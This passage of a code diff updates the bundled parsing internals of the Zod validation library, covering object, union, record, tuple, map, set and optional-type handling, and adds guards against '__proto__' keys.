{${prefixStr(id, k)} } if (!${id}_present && !${id}.issues.length) { payload.issues.push({ @@ -57876,41 +58416,36 @@ var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => input: undefined, path: [${k}] }); + if (ctx && ctx.abortEarly) { + payload.value = newResult; + return payload; + } } if (${id}_present) { - if (${id}.value === undefined) { - newResult[${k}] = undefined; - } else { - newResult[${k}] = ${id}.value; - } + newResult[${k}] = ${id}.value; } `); } else { doc.write(` - if (${id}.issues.length) { - payload.issues = payload.issues.concat(${id}.issues.map(iss => ({ - ...iss, - path: iss.path ? [${k}, ...iss.path] : [${k}] - }))); + if (${id}.issues.length) {${prefixStr(id, k)} } - - if (${id}.value === undefined) { - if (${k} in input) { - newResult[${k}] = undefined; - } + `); + if (optin === "defaulted") { + doc.write(`newResult[${k}] = ${id}.value;`); } else { + doc.write(` + if (${id}.value !== undefined || ${isPresent}) { newResult[${k}] = ${id}.value; } - `); + } } } doc.write(`payload.value = newResult;`); doc.write(`return payload;`); - const fn = doc.compile(); - return (payload, ctx) => fn(shape, payload, ctx); + return doc.compile(); }; let fastpass; const isObject3 = isObject2; @@ -57921,12 +58456,12 @@ var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => let value; inst._zod.parse = (payload, ctx) => { value ?? (value = _normalized.value); - const input = payload.value; - if (!isObject3(input)) { + const input2 = payload.value; + if (!isObject3(input2)) { payload.issues.push({ expected: "object", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -57937,7 +58472,7 @@ var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => payload = fastpass(payload, ctx); if (!catchall) return payload; - return handleCatchall([], input, payload, ctx, value, inst); + return handleCatchall([], input2, payload, ctx, value, inst, ctx?.abortEarly === true); } return superParse(payload, ctx); }; @@ -57964,17 +58499,17 @@ function handleUnionResults(results, final, inst, ctx) { } var $ZodUnion = /* @__PURE__ */ $constructor("$ZodUnion", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "optin", () => def.options.some((o) => o._zod.optin === "optional") ? "optional" : void 0); - defineLazy(inst._zod, "optout", () => def.options.some((o) => o._zod.optout === "optional") ? "optional" : void 0); - defineLazy(inst._zod, "values", () => { - if (def.options.every((o) => o._zod.values)) { - return new Set(def.options.flatMap((option) => Array.from(option._zod.values))); + defineLazyInternal(inst, "optin", (zod) => zod.def.options.some((o) => o._zod.optin === "defaulted") ? "defaulted" : zod.def.options.some((o) => o._zod.optin !== void 0) ? "optional" : void 0); + defineLazyInternal(inst, "optout", (zod) => zod.def.options.some((o) => o._zod.optout === "optional") ? "optional" : void 0); + defineLazyInternal(inst, "values", (zod) => { + if (zod.def.options.every((o) => o._zod.values)) { + return new Set(zod.def.options.flatMap((option) => Array.from(option._zod.values))); } return void 0; }); - defineLazy(inst._zod, "pattern", () => { - if (def.options.every((o) => o._zod.pattern)) { - const patterns = def.options.map((o) => o._zod.pattern); + defineLazyInternal(inst, "pattern", (zod) => { + if (zod.def.options.every((o) => o._zod.pattern)) { + const patterns = zod.def.options.map((o) => o._zod.pattern); return new RegExp(`^(${patterns.map((p) => cleanRegex(p.source)).join("|")})$`); } return void 0; @@ -58008,12 +58543,16 @@ var $ZodUnion = /* @__PURE__ */ $constructor("$ZodUnion", (inst, def) => { }; }); function handleExclusiveUnionResults(results, final, inst, ctx) { - const successes = results.filter((r) => r.issues.length === 0); - if (successes.length === 1) { - final.value = successes[0].value; + const matches = []; + for (let i = 0; i < results.length; i++) { + if (results[i].issues.length === 0) + matches.push(i); + } + if (matches.length === 1) { + final.value = results[matches[0]].value; return final; } - if (successes.length === 0) { + if (matches.length === 0) { final.issues.push({ code: "invalid_union", input: final.value, @@ -58026,7 +58565,8 @@ function handleExclusiveUnionResults(results, final, inst, ctx) { input: final.value, inst, errors: [], - inclusive: false + inclusive: false, + matches }); } return final; @@ -58060,55 +58600,83 @@ var $ZodXor = /* @__PURE__ */ $constructor("$ZodXor", (inst, def) => { }); }; }); +function getDiscriminatedOption(union3, value) { + const internals = union3._zod; + let map2 = internals.bag.optionsMap; + if (!map2) { + map2 = discriminatorMap(internals.def); + internals.bag.optionsMap = map2; + } + const option = map2.get(value); + if (option === null) + throw new Error(`Ambiguous discriminator value "${String(value)}"`); + return option; +} +function discriminatorMap(def) { + const map2 = /* @__PURE__ */ new Map(); + for (const option of def.options) { + const values2 = option._zod.propValues?.[def.discriminator]; + if (!values2 || values2.size === 0) + throw new Error(`Invalid discriminated union option at index "${def.options.indexOf(option)}"`); + for (const value of values2) { + if (map2.has(value)) { + if (value !== void 0) + throw new Error(`Duplicate discriminator value "${String(value)}"`); + map2.set(value, null); + } else { + map2.set(value, option); + } + } + } + return map2; +} var $ZodDiscriminatedUnion = /* @__PURE__ */ $constructor("$ZodDiscriminatedUnion", (inst, def) => { def.inclusive = false; $ZodUnion.init(inst, def); const _super = inst._zod.parse; - defineLazy(inst._zod, "propValues", () => { + defineLazyInternal(inst, "propValues", (zod) => { const propValues = {}; - for (const option of def.options) { + let undefinedCount = 0; + for (const option of zod.def.options) { const pv = option._zod.propValues; if (!pv || Object.keys(pv).length === 0) - throw new Error(`Invalid discriminated union option at index "${def.options.indexOf(option)}"`); + throw new Error(`Invalid discriminated union option at index "${zod.def.options.indexOf(option)}"`); + if (pv[zod.def.discriminator]?.has(void 0)) + undefinedCount++; for (const [k, v] of Object.entries(pv)) { - if (!propValues[k]) - propValues[k] = /* @__PURE__ */ new Set(); + if (!Object.prototype.hasOwnProperty.call(propValues, k)) { + assignProp(propValues, k, /* @__PURE__ */ new Set()); + } for (const val of v) { propValues[k].add(val); } } } + if (!zod.def.unionFallback && undefinedCount > 1) + propValues[zod.def.discriminator]?.delete(void 0); return propValues; }); - const disc = cached(() => { - const opts = def.options; - const map2 = /* @__PURE__ */ new Map(); - for (const o of opts) { - const values2 = o._zod.propValues?.[def.discriminator]; - if (!values2 || values2.size === 0) - throw new Error(`Invalid discriminated union option at index "${def.options.indexOf(o)}"`); - for (const v of values2) { - if (map2.has(v)) { - throw new Error(`Duplicate discriminator value "${String(v)}"`); - } - map2.set(v, o); - } + def.options.forEach((option, i) => { + const propShape = rawShape(option._zod.def); + if (propShape && !Object.prototype.hasOwnProperty.call(propShape, def.discriminator)) { + throw new Error(`Invalid discriminated union option at index "${i}"`); } - return map2; }); + const disc = cached(() => discriminatorMap(def)); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!isObject2(input)) { + const input2 = payload.value; + if (!isObject2(input2)) { payload.issues.push({ code: "invalid_type", expected: "object", - input, + input: input2, inst }); return payload; } - const opt = disc.value.get(input?.[def.discriminator]); - if (opt) { + const value = input2?.[def.discriminator]; + const opt = disc.value.get(value); + if (opt && (value !== void 0 || ctx.direction !== "backward")) { return opt._zod.run(payload, ctx); } if (def.unionFallback || ctx.direction === "backward") { @@ -58119,8 +58687,8 @@ var $ZodDiscriminatedUnion = /* @__PURE__ */ $constructor("$ZodDiscriminatedUnio errors: [], note: "No matching discriminator", discriminator: def.discriminator, - options: Array.from(disc.value.keys()), - input, + options: Array.from(disc.value.keys()).filter((value2) => disc.value.get(value2) !== null), + input: input2, path: [def.discriminator], inst }); @@ -58130,9 +58698,9 @@ var $ZodDiscriminatedUnion = /* @__PURE__ */ $constructor("$ZodDiscriminatedUnio var $ZodIntersection = /* @__PURE__ */ $constructor("$ZodIntersection", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - const left = def.left._zod.run({ value: input, issues: [] }, ctx); - const right = def.right._zod.run({ value: input, issues: [] }, ctx); + const input2 = payload.value; + const left = def.left._zod.run({ value: input2, issues: [] }, ctx); + const right = def.right._zod.run({ value: input2, issues: [] }, ctx); const async = left instanceof Promise || right instanceof Promise; if (async) { return Promise.all([left, right]).then(([left2, right2]) => { @@ -58153,7 +58721,11 @@ function mergeValues(a, b2) { const bKeys = Object.keys(b2); const sharedKeys = Object.keys(a).filter((key) => bKeys.indexOf(key) !== -1); const newObj = { ...a, ...b2 }; + if (Object.prototype.hasOwnProperty.call(newObj, "__proto__")) + delete newObj.__proto__; for (const key of sharedKeys) { + if (key === "__proto__") + continue; const sharedValue = mergeValues(a[key], b2[key]); if (!sharedValue.valid) { return { @@ -58189,37 +58761,49 @@ function mergeValues(a, b2) { function handleIntersectionResults(result, left, right) { const unrecKeys = /* @__PURE__ */ new Map(); let unrecIssue; - for (const iss of left.issues) { - if (iss.code === "unrecognized_keys") { + const keyIssues = /* @__PURE__ */ new Map(); + const collect = (iss, side) => { + let keys; + if (iss.code === "unrecognized_keys" && !iss.path?.length) { unrecIssue ?? (unrecIssue = iss); - for (const k of iss.keys) { - if (!unrecKeys.has(k)) - unrecKeys.set(k, {}); - unrecKeys.get(k).l = true; - } + keys = iss.keys; + } else if (iss.code === "invalid_key" && iss.origin === "record" && iss.path?.length === 1) { + const k = String(iss.path[0]); + if (!keyIssues.has(k)) + keyIssues.set(k, iss); + keys = [k]; } else { - result.issues.push(iss); + return false; + } + for (const k of keys) { + if (!unrecKeys.has(k)) + unrecKeys.set(k, {}); + unrecKeys.get(k)[side] = true; } + return true; + }; + for (const iss of left.issues) { + if (!collect(iss, "l")) + result.issues.push(iss); } for (const iss of right.issues) { - if (iss.code === "unrecognized_keys") { - for (const k of iss.keys) { - if (!unrecKeys.has(k)) - unrecKeys.set(k, {}); - unrecKeys.get(k).r = true; - } - } else { + if (!collect(iss, "r")) result.issues.push(iss); - } } const bothKeys = [...unrecKeys].filter(([, f]) => f.l && f.r).map(([k]) => k); - if (bothKeys.length && unrecIssue) { - result.issues.push({ ...unrecIssue, keys: bothKeys }); + if (bothKeys.length) { + const aggregated = unrecIssue ? bothKeys.filter((k) => unrecIssue.keys.includes(k)) : []; + if (aggregated.length) + result.issues.push({ ...unrecIssue, keys: aggregated }); + for (const k of bothKeys) { + if (!aggregated.includes(k) && keyIssues.has(k)) + result.issues.push(keyIssues.get(k)); + } } - if (aborted(result)) - return result; const merged = mergeValues(left.value, right.value); if (!merged.valid) { + if (aborted(result)) + return result; throw new Error(`Unmergable intersection. Error path: ${JSON.stringify(merged.mergeErrorPath)}`); } result.value = merged.data; @@ -58228,59 +58812,71 @@ function handleIntersectionResults(result, left, right) { var $ZodTuple = /* @__PURE__ */ $constructor("$ZodTuple", (inst, def) => { $ZodType.init(inst, def); const items = def.items; + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!Array.isArray(input)) { + const input2 = payload.value; + if (!Array.isArray(input2)) { payload.issues.push({ - input, + input: input2, inst, expected: "tuple", code: "invalid_type" }); return payload; } - payload.value = []; + payload.value = memo2 ? memo2.alloc(inst, payload, [], ctx) : []; const proms = []; const optinStart = getTupleOptStart(items, "optin"); const optoutStart = getTupleOptStart(items, "optout"); if (!def.rest) { - if (input.length < optinStart) { + if (input2.length < optinStart) { payload.issues.push({ code: "too_small", minimum: optinStart, inclusive: true, - input, + input: input2, inst, origin: "array" }); return payload; } - if (input.length > items.length) { + if (input2.length > items.length) { payload.issues.push({ code: "too_big", maximum: items.length, inclusive: true, - input, + input: input2, inst, origin: "array" }); } } const itemResults = new Array(items.length); + const abortEarly = def.rest ? ctx?.abortEarly : void 0; + let itemAborted = false; for (let i = 0; i < items.length; i++) { - const r = items[i]._zod.run({ value: input[i], issues: [] }, ctx); + const r = items[i]._zod.run({ value: input2[i], issues: [] }, ctx); if (r instanceof Promise) { proms.push(r.then((rr) => { itemResults[i] = rr; })); } else { itemResults[i] = r; + if (abortEarly && !itemAborted && r.issues.length) + itemAborted = aborted(r); } } - if (def.rest) { + if (def.rest && !itemAborted) { let i = items.length - 1; - const rest = input.slice(items.length); + const rest = input2.slice(items.length); + let seen = payload.issues.length; for (const el of rest) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } i++; const result = def.rest._zod.run({ value: el, issues: [] }, ctx); if (result instanceof Promise) { @@ -58291,14 +58887,15 @@ var $ZodTuple = /* @__PURE__ */ $constructor("$ZodTuple", (inst, def) => { } } if (proms.length) { - return Promise.all(proms).then(() => handleTupleResults(itemResults, payload, items, input, optoutStart)); + return Promise.all(proms).then(() => handleTupleResults(itemResults, payload, items, input2, optoutStart)); } - return handleTupleResults(itemResults, payload, items, input, optoutStart); + return handleTupleResults(itemResults, payload, items, input2, optoutStart); }; }); function getTupleOptStart(items, key) { for (let i = items.length - 1; i >= 0; i--) { - if (items[i]._zod[key] !== "optional") + const omittable = key === "optin" ? items[i]._zod.optin !== void 0 : items[i]._zod.optout === "optional"; + if (!omittable) return i + 1; } return 0; @@ -58309,10 +58906,14 @@ function handleTupleResult(result, final, index2) { } final.value[index2] = result.value; } -function handleTupleResults(itemResults, final, items, input, optoutStart) { +function handleTupleResults(itemResults, final, items, input2, optoutStart) { for (let i = 0; i < items.length; i++) { const r = itemResults[i]; - const isPresent = i < input.length; + const isPresent = i < input2.length; + if (!isPresent && i >= optoutStart && items[i]._zod.optin === "optional") { + final.value.length = i; + break; + } if (r.issues.length) { if (!isPresent && i >= optoutStart) { final.value.length = i; @@ -58322,7 +58923,7 @@ function handleTupleResults(itemResults, final, items, input, optoutStart) { } final.value[i] = r.value; } - for (let i = final.value.length - 1; i >= input.length; i--) { + for (let i = final.value.length - 1; i >= input2.length; i--) { if (items[i]._zod.optout === "optional" && final.value[i] === void 0) { final.value.length = i; } else { @@ -58333,25 +58934,29 @@ function handleTupleResults(itemResults, final, items, input, optoutStart) { } var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!isPlainObject(input)) { + const input2 = payload.value; + if (!isPlainObject(input2)) { payload.issues.push({ expected: "record", code: "invalid_type", - input, + input: input2, inst }); return payload; } const proms = []; const values2 = def.keyType._zod.values; - if (values2) { - payload.value = {}; + if (values2 && !def.partial) { + payload.value = memo2 ? memo2.alloc(inst, payload, {}, ctx) : {}; const recordKeys = /* @__PURE__ */ new Set(); for (const key of values2) { if (typeof key === "string" || typeof key === "number" || typeof key === "symbol") { recordKeys.add(typeof key === "number" ? key.toString() : key); + if (key === "__proto__") + continue; const keyResult = def.keyType._zod.run({ value: key, issues: [] }, ctx); if (keyResult instanceof Promise) { throw new Error("Async schemas not supported in object keys currently"); @@ -58368,7 +58973,9 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { continue; } const outKey = keyResult.value; - const result = def.valueType._zod.run({ value: input[key], issues: [] }, ctx); + if (outKey === "__proto__") + continue; + const result = def.valueType._zod.run({ value: input2[key], issues: [] }, ctx); if (result instanceof Promise) { proms.push(result.then((result2) => { if (result2.issues.length) { @@ -58385,26 +58992,34 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { } } let unrecognized; - for (const key in input) { + for (const key in input2) { if (!recordKeys.has(key)) { - unrecognized = unrecognized ?? []; - unrecognized.push(key); + if (def.mode === "loose") { + if (key === "__proto__") + continue; + payload.value[key] = input2[key]; + } else { + unrecognized = unrecognized ?? []; + unrecognized.push(key); + } } } if (unrecognized && unrecognized.length > 0) { payload.issues.push({ code: "unrecognized_keys", - input, + input: input2, inst, - keys: unrecognized + keys: unrecognized, + continue: true }); } } else { - payload.value = {}; - for (const key of Reflect.ownKeys(input)) { + payload.value = memo2 ? memo2.alloc(inst, payload, {}, ctx) : {}; + let unrecognized; + for (const key of Reflect.ownKeys(input2)) { if (key === "__proto__") continue; - if (!Object.prototype.propertyIsEnumerable.call(input, key)) + if (!Object.prototype.propertyIsEnumerable.call(input2, key)) continue; let keyResult = def.keyType._zod.run({ value: key, issues: [] }, ctx); if (keyResult instanceof Promise) { @@ -58422,7 +59037,10 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { } if (keyResult.issues.length) { if (def.mode === "loose") { - payload.value[key] = input[key]; + payload.value[key] = input2[key]; + } else if (values2) { + unrecognized = unrecognized ?? []; + unrecognized.push(key); } else { payload.issues.push({ code: "invalid_key", @@ -58435,21 +59053,33 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { } continue; } - const result = def.valueType._zod.run({ value: input[key], issues: [] }, ctx); + const outKey = keyResult.value; + if (outKey === "__proto__") + continue; + const result = def.valueType._zod.run({ value: input2[key], issues: [] }, ctx); if (result instanceof Promise) { proms.push(result.then((result2) => { if (result2.issues.length) { payload.issues.push(...prefixIssues(key, result2.issues)); } - payload.value[keyResult.value] = result2.value; + payload.value[outKey] = result2.value; })); } else { if (result.issues.length) { payload.issues.push(...prefixIssues(key, result.issues)); } - payload.value[keyResult.value] = result.value; + payload.value[outKey] = result.value; } } + if (unrecognized && unrecognized.length > 0) { + payload.issues.push({ + code: "unrecognized_keys", + input: input2, + inst, + keys: unrecognized, + continue: true + }); + } } if (proms.length) { return Promise.all(proms).then(() => payload); @@ -58459,36 +59089,46 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { }); var $ZodMap = /* @__PURE__ */ $constructor("$ZodMap", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!(input instanceof Map)) { + const input2 = payload.value; + if (!(input2 instanceof Map)) { payload.issues.push({ expected: "map", code: "invalid_type", - input, + input: input2, inst }); return payload; } const proms = []; - payload.value = /* @__PURE__ */ new Map(); - for (const [key, value] of input) { + payload.value = memo2 ? memo2.alloc(inst, payload, /* @__PURE__ */ new Map(), ctx) : /* @__PURE__ */ new Map(); + const abortEarly = ctx?.abortEarly; + let seen = payload.issues.length; + for (const [key, value] of input2) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } const keyResult = def.keyType._zod.run({ value: key, issues: [] }, ctx); const valueResult = def.valueType._zod.run({ value, issues: [] }, ctx); if (keyResult instanceof Promise || valueResult instanceof Promise) { proms.push(Promise.all([keyResult, valueResult]).then(([keyResult2, valueResult2]) => { - handleMapResult(keyResult2, valueResult2, payload, key, input, inst, ctx); + handleMapResult(keyResult2, valueResult2, payload, key, input2, inst, ctx); })); } else { - handleMapResult(keyResult, valueResult, payload, key, input, inst, ctx); + handleMapResult(keyResult, valueResult, payload, key, input2, inst, ctx); } } if (proms.length) return Promise.all(proms).then(() => payload); return payload; }; + capSize(inst, mapSize); }); -function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { +function handleMapResult(keyResult, valueResult, final, key, input2, inst, ctx) { if (keyResult.issues.length) { if (propertyKeyTypes.has(typeof key)) { final.issues.push(...prefixIssues(key, keyResult.issues)); @@ -58496,7 +59136,7 @@ function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { final.issues.push({ code: "invalid_key", origin: "map", - input, + input: input2, inst, issues: keyResult.issues.map((iss) => finalizeIssue(iss, ctx, config())) }); @@ -58509,7 +59149,7 @@ function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { final.issues.push({ origin: "map", code: "invalid_element", - input, + input: input2, inst, key, issues: valueResult.issues.map((iss) => finalizeIssue(iss, ctx, config())) @@ -58520,11 +59160,13 @@ function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { } var $ZodSet = /* @__PURE__ */ $constructor("$ZodSet", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!(input instanceof Set)) { + const input2 = payload.value; + if (!(input2 instanceof Set)) { payload.issues.push({ - input, + input: input2, inst, expected: "set", code: "invalid_type" @@ -58532,8 +59174,15 @@ var $ZodSet = /* @__PURE__ */ $constructor("$ZodSet", (inst, def) => { return payload; } const proms = []; - payload.value = /* @__PURE__ */ new Set(); - for (const item of input) { + payload.value = memo2 ? memo2.alloc(inst, payload, /* @__PURE__ */ new Set(), ctx) : /* @__PURE__ */ new Set(); + const abortEarly = ctx?.abortEarly; + let seen = payload.issues.length; + for (const item of input2) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } const result = def.valueType._zod.run({ value: item, issues: [] }, ctx); if (result instanceof Promise) { proms.push(result.then((result2) => handleSetResult(result2, payload))); @@ -58544,6 +59193,7 @@ var $ZodSet = /* @__PURE__ */ $constructor("$ZodSet", (inst, def) => { return Promise.all(proms).then(() => payload); return payload; }; + capSize(inst, setSize); }); function handleSetResult(result, final) { if (result.issues.length) { @@ -58556,16 +59206,19 @@ var $ZodEnum = /* @__PURE__ */ $constructor("$ZodEnum", (inst, def) => { const values2 = getEnumValues(def.entries); const valuesSet = new Set(values2); inst._zod.values = valuesSet; - inst._zod.pattern = new RegExp(`^(${values2.filter((k) => propertyKeyTypes.has(typeof k)).map((o) => typeof o === "string" ? escapeRegex(o) : o.toString()).join("|")})$`); + defineLazyInternal(inst, "pattern", (zod) => { + const patternValues = getEnumValues(zod.def.entries).filter((k) => propertyKeyTypes.has(typeof k)); + return new RegExp(patternValues.length ? `^(${patternValues.map((o) => escapeRegex(o.toString())).join("|")})$` : "^[^\\s\\S]$"); + }); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (valuesSet.has(input)) { + const input2 = payload.value; + if (valuesSet.has(input2)) { return payload; } payload.issues.push({ code: "invalid_value", values: values2, - input, + input: input2, inst }); return payload; @@ -58573,21 +59226,21 @@ var $ZodEnum = /* @__PURE__ */ $constructor("$ZodEnum", (inst, def) => { }); var $ZodLiteral = /* @__PURE__ */ $constructor("$ZodLiteral", (inst, def) => { $ZodType.init(inst, def); - if (def.values.length === 0) { - throw new Error("Cannot create literal schema with no valid values"); - } const values2 = new Set(def.values); inst._zod.values = values2; - inst._zod.pattern = new RegExp(`^(${def.values.map((o) => typeof o === "string" ? escapeRegex(o) : o ? escapeRegex(o.toString()) : String(o)).join("|")})$`); + defineLazyInternal(inst, "pattern", (zod) => { + const vals = zod.def.values; + return new RegExp(vals.length ? `^(${vals.map((o) => typeof o === "string" ? escapeRegex(o) : o ? escapeRegex(o.toString()) : String(o)).join("|")})$` : "^[^\\s\\S]$"); + }); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (values2.has(input)) { + const input2 = payload.value; + if (values2.has(input2)) { return payload; } payload.issues.push({ code: "invalid_value", values: def.values, - input, + input: input2, inst }); return payload; @@ -58596,13 +59249,13 @@ var $ZodLiteral = /* @__PURE__ */ $constructor("$ZodLiteral", (inst, def) => { var $ZodFile = /* @__PURE__ */ $constructor("$ZodFile", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (input instanceof File) + const input2 = payload.value; + if (input2 instanceof File) return payload; payload.issues.push({ expected: "file", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -58611,16 +59264,16 @@ var $ZodFile = /* @__PURE__ */ $constructor("$ZodFile", (inst, def) => { var $ZodTransform = /* @__PURE__ */ $constructor("$ZodTransform", (inst, def) => { $ZodType.init(inst, def); inst._zod.optin = "optional"; + globalConfig.memoizer?.guard(inst); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { throw new $ZodEncodeError(inst.constructor.name); } const _out = def.transform(payload.value, payload); if (ctx.async) { - const output = _out instanceof Promise ? _out : Promise.resolve(_out); - return output.then((output2) => { - payload.value = output2; - payload.fallback = true; + const output2 = _out instanceof Promise ? _out : Promise.resolve(_out); + return output2.then((output3) => { + payload.value = output3; return payload; }); } @@ -58628,59 +59281,55 @@ var $ZodTransform = /* @__PURE__ */ $constructor("$ZodTransform", (inst, def) => throw new $ZodAsyncError(); } payload.value = _out; - payload.fallback = true; return payload; }; }); -function handleOptionalResult(result, input) { - if (input === void 0 && (result.issues.length || result.fallback)) { - return { issues: [], value: void 0 }; - } - return result; +function handleOptionalResult(payload, result) { + payload.value = result.issues.length ? void 0 : result.value; + return payload; } var $ZodOptional = /* @__PURE__ */ $constructor("$ZodOptional", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType._zod.optin === "defaulted" ? "defaulted" : "optional"); inst._zod.optout = "optional"; - defineLazy(inst._zod, "values", () => { - return def.innerType._zod.values ? /* @__PURE__ */ new Set([...def.innerType._zod.values, void 0]) : void 0; + defineLazyInternal(inst, "values", (zod) => { + const values2 = zod.def.innerType._zod.values; + return values2 ? /* @__PURE__ */ new Set([...values2, void 0]) : void 0; }); - defineLazy(inst._zod, "pattern", () => { - const pattern = def.innerType._zod.pattern; + defineLazyInternal(inst, "pattern", (zod) => { + const pattern = zod.def.innerType._zod.pattern; return pattern ? new RegExp(`^(${cleanRegex(pattern.source)})?$`) : void 0; }); inst._zod.parse = (payload, ctx) => { - if (def.innerType._zod.optin === "optional") { - const input = payload.value; - const result = def.innerType._zod.run(payload, ctx); - if (result instanceof Promise) - return result.then((r) => handleOptionalResult(r, input)); - return handleOptionalResult(result, input); - } if (payload.value === void 0) { - return payload; + if (def.innerType._zod.optin !== "defaulted") + return payload; + const result = def.innerType._zod.run({ value: payload.value, issues: [] }, ctx); + if (result instanceof Promise) + return result.then((result2) => handleOptionalResult(payload, result2)); + return handleOptionalResult(payload, result); } return def.innerType._zod.run(payload, ctx); }; }); var $ZodExactOptional = /* @__PURE__ */ $constructor("$ZodExactOptional", (inst, def) => { $ZodOptional.init(inst, def); - defineLazy(inst._zod, "values", () => def.innerType._zod.values); - defineLazy(inst._zod, "pattern", () => def.innerType._zod.pattern); + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); + defineLazyInternal(inst, "pattern", (zod) => zod.def.innerType._zod.pattern); inst._zod.parse = (payload, ctx) => { return def.innerType._zod.run(payload, ctx); }; }); var $ZodNullable = /* @__PURE__ */ $constructor("$ZodNullable", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "optin", () => def.innerType._zod.optin); - defineLazy(inst._zod, "optout", () => def.innerType._zod.optout); - defineLazy(inst._zod, "pattern", () => { - const pattern = def.innerType._zod.pattern; + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType._zod.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.innerType._zod.optout); + defineLazyInternal(inst, "pattern", (zod) => { + const pattern = zod.def.innerType._zod.pattern; return pattern ? new RegExp(`^(${cleanRegex(pattern.source)}|null)$`) : void 0; }); - defineLazy(inst._zod, "values", () => { - return def.innerType._zod.values ? /* @__PURE__ */ new Set([...def.innerType._zod.values, null]) : void 0; + defineLazyInternal(inst, "values", (zod) => { + return zod.def.innerType._zod.values ? /* @__PURE__ */ new Set([...zod.def.innerType._zod.values, null]) : void 0; }); inst._zod.parse = (payload, ctx) => { if (payload.value === null) @@ -58690,8 +59339,8 @@ var $ZodNullable = /* @__PURE__ */ $constructor("$ZodNullable", (inst, def) => { }); var $ZodDefault = /* @__PURE__ */ $constructor("$ZodDefault", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; - defineLazy(inst._zod, "values", () => def.innerType._zod.values); + inst._zod.optin = "defaulted"; + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); @@ -58715,8 +59364,8 @@ function handleDefaultResult(payload, def) { } var $ZodPrefault = /* @__PURE__ */ $constructor("$ZodPrefault", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; - defineLazy(inst._zod, "values", () => def.innerType._zod.values); + inst._zod.optin = "defaulted"; + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); @@ -58729,8 +59378,8 @@ var $ZodPrefault = /* @__PURE__ */ $constructor("$ZodPrefault", (inst, def) => { }); var $ZodNonOptional = /* @__PURE__ */ $constructor("$ZodNonOptional", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "values", () => { - const v = def.innerType._zod.values; + defineLazyInternal(inst, "values", (zod) => { + const v = zod.def.innerType._zod.values; return v ? new Set([...v].filter((x) => x !== void 0)) : void 0; }); inst._zod.parse = (payload, ctx) => { @@ -58769,46 +59418,37 @@ var $ZodSuccess = /* @__PURE__ */ $constructor("$ZodSuccess", (inst, def) => { return payload; }; }); +function handleCatchResult(payload, result, def, ctx) { + if (!result.issues.length) { + payload.value = result.value; + if (result.memo) + payload.memo = true; + return payload; + } + payload.value = def.catchValue({ + ...result, + value: payload.value, + error: { + issues: result.issues.map((iss) => finalizeIssue(iss, ctx, config())) + }, + input: payload.value + }); + return payload; +} var $ZodCatch = /* @__PURE__ */ $constructor("$ZodCatch", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; - defineLazy(inst._zod, "optout", () => def.innerType._zod.optout); - defineLazy(inst._zod, "values", () => def.innerType._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType._zod.optin === "defaulted" ? "defaulted" : "optional"); + defineLazyInternal(inst, "optout", (zod) => zod.def.innerType._zod.optout); + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); } - const result = def.innerType._zod.run(payload, ctx); + const result = def.innerType._zod.run({ value: payload.value, issues: [] }, ctx); if (result instanceof Promise) { - return result.then((result2) => { - payload.value = result2.value; - if 